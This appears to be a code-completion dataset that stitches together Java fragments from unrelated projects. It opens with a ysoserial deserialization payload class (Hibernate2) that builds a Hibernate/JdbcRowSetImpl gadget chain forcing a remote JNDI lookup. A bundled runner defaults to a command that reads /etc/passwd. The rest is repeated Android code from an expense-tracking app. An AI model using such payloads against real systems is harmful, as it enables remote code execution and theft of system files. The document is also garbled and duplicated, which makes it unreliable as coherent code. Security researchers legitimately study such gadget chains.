@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Hibernate1.getDependencies();
}
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(cmdHelper.getCommand());
return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
}
public static void main ( final String[] args ) throws Exception { | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
// Path: src/main/java/ysoserial/payloads/Hibernate2.java
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.rowset.JdbcRowSetImpl;
package ysoserial.payloads;
/**
*
* Another application filter bypass
*
* Needs a getter invocation that is provided by hibernate here
*
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* Arg:
* - JNDI name (i.e. rmi:<host>)
*
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Hibernate1.getDependencies();
}
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(cmdHelper.getCommand());
return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
}
public static void main ( final String[] args ) throws Exception { | PayloadRunner.run(Hibernate2.class, args); |
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/View/AddAndEditSpending/AddAndEditSpendingViewModel.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
// @Singleton
// public class SpendingRepository {
// private final AppDatabase appDatabase;
// @Inject
// public SpendingRepository(AppDatabase appDatabase) {
// this.appDatabase = appDatabase;
// }
//
// public LiveData<List<Spending>> getSpendings(){
// return appDatabase.spendingDao().getSpendingsWithGroups();
// }
//
// public LiveData<Double> getTotalSpendingQuantity(){
// return appDatabase.spendingDao().getTotalSpendingQuantity();
// }
//
// public void addSpending(RawSpending s){
// appDatabase.spendingDao().addSpending(s);
// }
//
// public LiveData<List<SpendingGroup>> getSpendingGroups(){
// return appDatabase.spendingGroupDao().getAllSpendingGroups();
// }
//
// public void deleteSpending(int id){
// appDatabase.spendingDao().deleteSpending(id);
// }
// }
| import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Repository.SpendingRepository;
import java.util.List;
import javax.inject.Inject;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.ViewModel;
| package com.vsahin.moneycim.View.AddAndEditSpending;
/**
* Created by Volkan Şahin on 27.08.2017.
*/
public class AddAndEditSpendingViewModel extends ViewModel {
private SpendingRepository spendingRepository;
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
// @Singleton
// public class SpendingRepository {
// private final AppDatabase appDatabase;
// @Inject
// public SpendingRepository(AppDatabase appDatabase) {
// this.appDatabase = appDatabase;
// }
//
// public LiveData<List<Spending>> getSpendings(){
// return appDatabase.spendingDao().getSpendingsWithGroups();
// }
//
// public LiveData<Double> getTotalSpendingQuantity(){
// return appDatabase.spendingDao().getTotalSpendingQuantity();
// }
//
// public void addSpending(RawSpending s){
// appDatabase.spendingDao().addSpending(s);
// }
//
// public LiveData<List<SpendingGroup>> getSpendingGroups(){
// return appDatabase.spendingGroupDao().getAllSpendingGroups();
// }
//
// public void deleteSpending(int id){
// appDatabase.spendingDao().deleteSpending(id);
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/View/AddAndEditSpending/AddAndEditSpendingViewModel.java
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Repository.SpendingRepository;
import java.util.List;
import javax.inject.Inject;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.ViewModel;
package com.vsahin.moneycim.View.AddAndEditSpending;
/**
* Created by Volkan Şahin on 27.08.2017.
*/
public class AddAndEditSpendingViewModel extends ViewModel {
private SpendingRepository spendingRepository;
| final LiveData<List<SpendingGroup>> spendingGroups;
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/View/AddAndEditSpending/AddAndEditSpendingViewModel.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
// @Singleton
// public class SpendingRepository {
// private final AppDatabase appDatabase;
// @Inject
// public SpendingRepository(AppDatabase appDatabase) {
// this.appDatabase = appDatabase;
// }
//
// public LiveData<List<Spending>> getSpendings(){
// return appDatabase.spendingDao().getSpendingsWithGroups();
// }
//
// public LiveData<Double> getTotalSpendingQuantity(){
// return appDatabase.spendingDao().getTotalSpendingQuantity();
// }
//
// public void addSpending(RawSpending s){
// appDatabase.spendingDao().addSpending(s);
// }
//
// public LiveData<List<SpendingGroup>> getSpendingGroups(){
// return appDatabase.spendingGroupDao().getAllSpendingGroups();
// }
//
// public void deleteSpending(int id){
// appDatabase.spendingDao().deleteSpending(id);
// }
// }
| import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Repository.SpendingRepository;
import java.util.List;
import javax.inject.Inject;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.ViewModel;
| package com.vsahin.moneycim.View.AddAndEditSpending;
/**
* Created by Volkan Şahin on 27.08.2017.
*/
public class AddAndEditSpendingViewModel extends ViewModel {
private SpendingRepository spendingRepository;
final LiveData<List<SpendingGroup>> spendingGroups;
@Inject
public AddAndEditSpendingViewModel(SpendingRepository spendingRepository) {
this.spendingRepository = spendingRepository;
spendingGroups = getSpendingGroups();
}
private LiveData<List<SpendingGroup>> getSpendingGroups() {
return spendingRepository.getSpendingGroups();
}
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
// @Singleton
// public class SpendingRepository {
// private final AppDatabase appDatabase;
// @Inject
// public SpendingRepository(AppDatabase appDatabase) {
// this.appDatabase = appDatabase;
// }
//
// public LiveData<List<Spending>> getSpendings(){
// return appDatabase.spendingDao().getSpendingsWithGroups();
// }
//
// public LiveData<Double> getTotalSpendingQuantity(){
// return appDatabase.spendingDao().getTotalSpendingQuantity();
// }
//
// public void addSpending(RawSpending s){
// appDatabase.spendingDao().addSpending(s);
// }
//
// public LiveData<List<SpendingGroup>> getSpendingGroups(){
// return appDatabase.spendingGroupDao().getAllSpendingGroups();
// }
//
// public void deleteSpending(int id){
// appDatabase.spendingDao().deleteSpending(id);
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/View/AddAndEditSpending/AddAndEditSpendingViewModel.java
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Repository.SpendingRepository;
import java.util.List;
import javax.inject.Inject;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.ViewModel;
package com.vsahin.moneycim.View.AddAndEditSpending;
/**
* Created by Volkan Şahin on 27.08.2017.
*/
public class AddAndEditSpendingViewModel extends ViewModel {
private SpendingRepository spendingRepository;
final LiveData<List<SpendingGroup>> spendingGroups;
@Inject
public AddAndEditSpendingViewModel(SpendingRepository spendingRepository) {
this.spendingRepository = spendingRepository;
spendingGroups = getSpendingGroups();
}
private LiveData<List<SpendingGroup>> getSpendingGroups() {
return spendingRepository.getSpendingGroups();
}
| void addSpending(RawSpending s){
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
// @TypeConverters({Converters.class})
// public abstract class AppDatabase extends RoomDatabase{
//
// public abstract SpendingDao spendingDao();
// public abstract SpendingGroupDao spendingGroupDao();
//
// }
| import android.app.Application;
import com.vsahin.moneycim.Model.Database.AppDatabase;
import javax.inject.Singleton;
import androidx.annotation.NonNull;
import androidx.room.Room;
import androidx.room.RoomDatabase;
import androidx.sqlite.db.SupportSQLiteDatabase;
import dagger.Module;
import dagger.Provides; | package com.vsahin.moneycim.Di.Modules;
@Module
public class DataModule {
@Singleton
@Provides | // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
// @TypeConverters({Converters.class})
// public abstract class AppDatabase extends RoomDatabase{
//
// public abstract SpendingDao spendingDao();
// public abstract SpendingGroupDao spendingGroupDao();
//
// }
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
import android.app.Application;
import com.vsahin.moneycim.Model.Database.AppDatabase;
import javax.inject.Singleton;
import androidx.annotation.NonNull;
import androidx.room.Room;
import androidx.room.RoomDatabase;
import androidx.sqlite.db.SupportSQLiteDatabase;
import dagger.Module;
import dagger.Provides;
package com.vsahin.moneycim.Di.Modules;
@Module
public class DataModule {
@Singleton
@Provides | AppDatabase provideAppDatabase(Application application){ |
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java | // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java
// @Module
// public abstract class ActivityBuilder {
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract MainActivity mainActivity();
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract OcrCaptureActivity ocrCaptureActivity();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// @Module
// public class DataModule {
//
// @Singleton
// @Provides
// AppDatabase provideAppDatabase(Application application){
// return Room.databaseBuilder(application, AppDatabase.class, "app_database")
// .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() {
// @Override
// public void onCreate(@NonNull SupportSQLiteDatabase db) {
// super.onCreate(db);
// String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')";
// db.execSQL(query);
// }
//
// @Override
// public void onOpen(@NonNull SupportSQLiteDatabase db) {
// super.onOpen(db);
// }
// })
// .build();
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// @Module
// public abstract class AppModule {
//
// @Binds
// @Singleton
// abstract Application application(MoneycimApp app);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java
// @Module
// public abstract class FragmentBuilder {
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract SpendingListFragment spendingListFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract AddAndEditSpendingFragment addAndEditSpendingFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
| import com.vsahin.moneycim.Di.Modules.ActivityBuilder;
import com.vsahin.moneycim.Di.Modules.DataModule;
import com.vsahin.moneycim.Di.Modules.AppModule;
import com.vsahin.moneycim.Di.Modules.FragmentBuilder;
import com.vsahin.moneycim.Di.Modules.ViewModelModule;
import com.vsahin.moneycim.MoneycimApp;
import javax.inject.Singleton;
import dagger.Component;
import dagger.android.AndroidInjector;
import dagger.android.support.AndroidSupportInjectionModule;
| package com.vsahin.moneycim.Di;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Singleton
@Component(modules = {
AndroidSupportInjectionModule.class,
| // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java
// @Module
// public abstract class ActivityBuilder {
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract MainActivity mainActivity();
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract OcrCaptureActivity ocrCaptureActivity();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// @Module
// public class DataModule {
//
// @Singleton
// @Provides
// AppDatabase provideAppDatabase(Application application){
// return Room.databaseBuilder(application, AppDatabase.class, "app_database")
// .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() {
// @Override
// public void onCreate(@NonNull SupportSQLiteDatabase db) {
// super.onCreate(db);
// String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')";
// db.execSQL(query);
// }
//
// @Override
// public void onOpen(@NonNull SupportSQLiteDatabase db) {
// super.onOpen(db);
// }
// })
// .build();
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// @Module
// public abstract class AppModule {
//
// @Binds
// @Singleton
// abstract Application application(MoneycimApp app);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java
// @Module
// public abstract class FragmentBuilder {
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract SpendingListFragment spendingListFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract AddAndEditSpendingFragment addAndEditSpendingFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java
import com.vsahin.moneycim.Di.Modules.ActivityBuilder;
import com.vsahin.moneycim.Di.Modules.DataModule;
import com.vsahin.moneycim.Di.Modules.AppModule;
import com.vsahin.moneycim.Di.Modules.FragmentBuilder;
import com.vsahin.moneycim.Di.Modules.ViewModelModule;
import com.vsahin.moneycim.MoneycimApp;
import javax.inject.Singleton;
import dagger.Component;
import dagger.android.AndroidInjector;
import dagger.android.support.AndroidSupportInjectionModule;
package com.vsahin.moneycim.Di;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Singleton
@Component(modules = {
AndroidSupportInjectionModule.class,
| AppModule.class,
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java | // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java
// @Module
// public abstract class ActivityBuilder {
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract MainActivity mainActivity();
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract OcrCaptureActivity ocrCaptureActivity();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// @Module
// public class DataModule {
//
// @Singleton
// @Provides
// AppDatabase provideAppDatabase(Application application){
// return Room.databaseBuilder(application, AppDatabase.class, "app_database")
// .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() {
// @Override
// public void onCreate(@NonNull SupportSQLiteDatabase db) {
// super.onCreate(db);
// String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')";
// db.execSQL(query);
// }
//
// @Override
// public void onOpen(@NonNull SupportSQLiteDatabase db) {
// super.onOpen(db);
// }
// })
// .build();
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// @Module
// public abstract class AppModule {
//
// @Binds
// @Singleton
// abstract Application application(MoneycimApp app);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java
// @Module
// public abstract class FragmentBuilder {
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract SpendingListFragment spendingListFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract AddAndEditSpendingFragment addAndEditSpendingFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
| import com.vsahin.moneycim.Di.Modules.ActivityBuilder;
import com.vsahin.moneycim.Di.Modules.DataModule;
import com.vsahin.moneycim.Di.Modules.AppModule;
import com.vsahin.moneycim.Di.Modules.FragmentBuilder;
import com.vsahin.moneycim.Di.Modules.ViewModelModule;
import com.vsahin.moneycim.MoneycimApp;
import javax.inject.Singleton;
import dagger.Component;
import dagger.android.AndroidInjector;
import dagger.android.support.AndroidSupportInjectionModule;
| package com.vsahin.moneycim.Di;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Singleton
@Component(modules = {
AndroidSupportInjectionModule.class,
AppModule.class,
| // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java
// @Module
// public abstract class ActivityBuilder {
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract MainActivity mainActivity();
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract OcrCaptureActivity ocrCaptureActivity();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// @Module
// public class DataModule {
//
// @Singleton
// @Provides
// AppDatabase provideAppDatabase(Application application){
// return Room.databaseBuilder(application, AppDatabase.class, "app_database")
// .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() {
// @Override
// public void onCreate(@NonNull SupportSQLiteDatabase db) {
// super.onCreate(db);
// String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')";
// db.execSQL(query);
// }
//
// @Override
// public void onOpen(@NonNull SupportSQLiteDatabase db) {
// super.onOpen(db);
// }
// })
// .build();
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// @Module
// public abstract class AppModule {
//
// @Binds
// @Singleton
// abstract Application application(MoneycimApp app);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java
// @Module
// public abstract class FragmentBuilder {
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract SpendingListFragment spendingListFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract AddAndEditSpendingFragment addAndEditSpendingFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java
import com.vsahin.moneycim.Di.Modules.ActivityBuilder;
import com.vsahin.moneycim.Di.Modules.DataModule;
import com.vsahin.moneycim.Di.Modules.AppModule;
import com.vsahin.moneycim.Di.Modules.FragmentBuilder;
import com.vsahin.moneycim.Di.Modules.ViewModelModule;
import com.vsahin.moneycim.MoneycimApp;
import javax.inject.Singleton;
import dagger.Component;
import dagger.android.AndroidInjector;
import dagger.android.support.AndroidSupportInjectionModule;
package com.vsahin.moneycim.Di;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Singleton
@Component(modules = {
AndroidSupportInjectionModule.class,
AppModule.class,
| ActivityBuilder.class,
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java | // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java
// @Module
// public abstract class ActivityBuilder {
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract MainActivity mainActivity();
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract OcrCaptureActivity ocrCaptureActivity();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// @Module
// public class DataModule {
//
// @Singleton
// @Provides
// AppDatabase provideAppDatabase(Application application){
// return Room.databaseBuilder(application, AppDatabase.class, "app_database")
// .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() {
// @Override
// public void onCreate(@NonNull SupportSQLiteDatabase db) {
// super.onCreate(db);
// String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')";
// db.execSQL(query);
// }
//
// @Override
// public void onOpen(@NonNull SupportSQLiteDatabase db) {
// super.onOpen(db);
// }
// })
// .build();
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// @Module
// public abstract class AppModule {
//
// @Binds
// @Singleton
// abstract Application application(MoneycimApp app);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java
// @Module
// public abstract class FragmentBuilder {
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract SpendingListFragment spendingListFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
